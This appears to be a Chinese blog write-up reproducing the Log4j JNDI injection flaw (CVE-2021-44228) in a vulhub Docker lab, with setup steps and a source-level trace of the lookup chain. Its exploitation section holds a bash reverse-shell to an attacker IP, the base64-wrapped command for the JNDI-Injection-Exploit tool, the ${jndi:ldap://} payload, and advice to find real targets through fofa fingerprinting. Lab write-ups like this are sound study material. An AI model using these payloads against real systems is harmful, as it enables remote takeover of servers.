Log4j远程代码执行漏洞环境搭建及复现

一、漏洞说明

影响范围

Apache Log4j 2.x<=2.14.1

简介

Log4j2 是一个用于 Java 应用程序的成熟且功能强大的日志记录框架。它是 Log4j 的升级版本,相比于 Log4j,Log4j2 在性能、可靠性和灵活性方面都有显著的改进。

特点

Log4j2 是一个功能强大且灵活的日志记录框架,旨在提供高性能的日志记录解决方案。它被广泛用于各种 Java 应用程序和框架中,帮助开发人员更好地管理和分析应用程序的日志信息。

原理

攻击者构造payload,在JNDI接口lookup查询进行注入,payload为${jndi:ldap:恶意url/poc},JNDI会去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…本例为ldap)查找资源,由于lookup的出栈没做限制,最终指向了攻击者部署好的恶意站点,下载了远程的恶意class,最终造成了远程代码执行rce;

log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码);

攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)。


二、环境搭建

这次复现的漏洞就是最经典的CVE-2021-44228
1、安装docker(含换源)
编辑软件源配置文件

将国内优质源加入其中,并将原有源进行注释,加完后按ESC、冒号、wq保存退出即可

apt-get update 更新索引

apt-get upgrade 更新软件

apt-get dist-upgrade 升级

apt-get clean 删除缓存包

apt-get autoclean 删除未安装的deb包

apt-get install docker.io
2、安装docker-compose
apt-get install docker-compose
3、安装vulhub镜像
git clone https://github.com/vulhub/vulhub.git

4、启动log4j环境(CVE-2021-44228)
cd /opt/vulhub-master/log4j/CVE-2021-44228
docker-compose up
即可启动

三、漏洞复现

利用DNSlog验证漏洞是否存在
靶场启动成功后
浏览器访问youkrm ip:port(默认端口:8983)进入站点

进入dnslog.cn
    1、进入站点
    2、获取域名
    3、刷新记录
    4、数据回显

进入靶场站点进行抓包

四、漏洞利用


指纹搜索
fofa.info
搜索如下关键字框架系统等

1. Apache Tomcat - Java Web 服务器
    
2. Apache Kafka - 分布式流处理平台
    
3. Apache ActiveMQ - 开源消息队列系统
    
4. Elasticsearch - 分布式搜索和分析引擎
    
5. Spring Framework - Java 开发框架
    
6. Hibernate ORM - 对象关系映射框架
    
7. Apache Camel - 企业集成模式框架
    
8. Apache Solr - 开源搜索平台
    
9. Apache Druid - 实时分析数据库
    
10. Apache NiFi - 数据流处理系统
    
11. Apache Flink - 分布式流处理框架
    
12. Apache Hadoop - 分布式计算框架
    
13. Apache Spark - 分布式大数据处理框架
    
14. Apache Storm - 实时流处理框架
    
15. Alfresco - 开源企业内容管理系统
    
16. Atlassian JIRA - 项目管理和缺陷追踪工具
    
17. Jenkins - 持续集成和交付平台
    
18. SonarQube - 代码质量管理平台
    
19. Liferay - 企业门户和内容管理系统
    
20. Graylog - 日志管理和分析平台

漏洞利用点

package log4j2Exploit;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class run {
    private static final Logger logger = LogManager.getLogger(run.class);
    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:3890/test}");
    }
}

JNDI是什么?
JNDI(Java Naming and Directory Interface)是Java平台提供的一个标准API,用于访问各种命名和目录服务。JNDI提供统一的客户端API,使得Java应用程序可以与命名服务和目录服务进行交互;
具体来说,JNDI提供了一种查找和访问各种命名和目录服务的通用、统一的方式,无论这些服务是本地的还是远程的。
LDAP是什么?
LDAP(轻型目录访问协议)是一种开放的、中立的、工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。它运行在TCP/IP堆栈之上,是一种目录服务协议。LDAP以树结构标识,不能像表格一样用SQL语句查询,它“读”性能很强,但“写”性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。
RMI是什么?
RMI(远程方法调用)是Java的一组支持开发分布式应用程序的API。RMI使用Java语言接口定义了远程对象,它集合了Java序列化和Java远程方法协议。

我选择使用JNDI注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
下载JNDI注入工具地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
利用工具JNDI-Injection-Exploit搭建服务:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "" -A (攻击机IP)

我们所要实施的命令为反弹shell
所以如下:

bash -i >& /dev/tcp/ip/port 0>&1

注意:这里的命令必须进行base64编码,不然是没法利用的
所以先将反弹shell的命令进行base64编码(利用bp自带的编解码工具)

然后在攻击机上再开始监听此端口

利用JNDI注入工具生成可用payload

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,Ymxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}" -A 192.168.xx.xxx


使用bp进行抓包,将工具生成的payload替换到语句中
替换payload  ladp://192.168.xx.xx:1389/pakyuj

替换后并进行转换payload中的特殊字符为URL编码

编码完后并进行发包
发完之后,反弹shell可以看见已经监听成功,也可以看到我们的JNDI利用工具会有回显

五、利用链调用过程

利用链流程图

利用链流程
跟进logger.error()→logIfEnabled()→isEnabled()→filter() 中判断了当前调用的日志等级是否高于等于配置文件中配置的。(intLevel的值是日志等级越高,值就越小)

判断完成后回到`logIfEnabled()`
再进入`logMessage()→...→tryLogMessage()→log()...->tryAppend()→directEncodeEvent()`
直到`directEncodeEvent()`函数之前,都是读取配置文件创建event事件等操作。

`this.getLayout()` 获取配置文件里设置的输出格式,并调用encode()处理event。
紧接着调用了toText方法来用不同Converter处理传入的数据,并将结果存入buffer中。

这里解释一下这10个converter对象是干什么的:
如第一个`DatePatternConverter` 就是用来根据event对象中的`%d{yyyy-MM-dd HH:mm:ss.SSS}`(也就是从配置文件中设置的) 转换成按照此格式的时间表示,并将值存在buffer中。所以同理,后面所有的converter就是按照配置文件中设置的输出格式转换为对应的值,并将结果添加到buffer中。

输入`${jndi:ldap://127.0.0.1:3890/test}`对应的是`%msg`,处理的converter是`MessagePatternConverter`,也就是i=8,跟进它的format()。

首先通过`event.getMessage()`获取到Message对象。再重新创建一个StringBuilder对象`workingBuilder`,将之前coverter格式化好的部分赋值给`workingBuilder`,并添加msg对应的字符串给此对象;
然后从之前coverter格式化好的字符串末尾开始,遍历之后的`workingBuilder`字符串,直到找到`${` 起始的位置。找到后将`${`到整个字符串末尾的值复制给value,并将`workingBuilder`的长度设置为之前未拼接msg的长度,并重新添加`this.config.getStrSubstitutor().replace(event, value)` 的值到`workingBuilder`;
这段操作意思: 如果msg中存在`${`字符串,取出msg值后,就将整个msg字符串从`workingBuilder`中替换掉;
然后跟入replace函数。

这里主要是对传入的msg字符串进行处理,循环查找以`${`字符串开头和以`}`字符串结束的位置,获取两者之间字符串,即`jndi:ldap://127.0.0.1:3890/test`。(同时还会递归判断这个字符串中是否还有`${`与`}`)
最后进入`resolveVariable()` 方法。支持的Interpolator类型。

通过 var.indexOf(58)获取`:`号的索引位置,得到Interpolator前缀。再根据对应的前缀调用lookup方法。
进入到log4j的JndiLookup类的lookup方法中,通过jndi调用lookup
lookup():
lookup函数用于根据名称查找资源。例如,你可以使用JNDI来查找和访问数据库、消息队列或其他资源。通过使用JNDI,你可以把资源的名字和在哪里找到它们的详细信息告诉JNDI,然后使用lookup函数来查找和访问这些资源

六、参考文章

https://blog.csdn.net/qq_41132792/article/details/124952616
https://blog.csdn.net/fingue/article/details/127096363
https://blog.csdn.net/weixin_47179815/article/details/125654828\
https://myzxcg.com/2022/01/Log4j2-%E5%88%A9%E7%94%A8%E9%93%BE%E4%B8%8EWaf%E7%BB%95%E8%BF%87%E5%88%86%E6%9E%90/
https://cloud.tencent.com/developer/article/1922132
https://www.freebuf.com/vuls/382838.html


 

  • 29
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值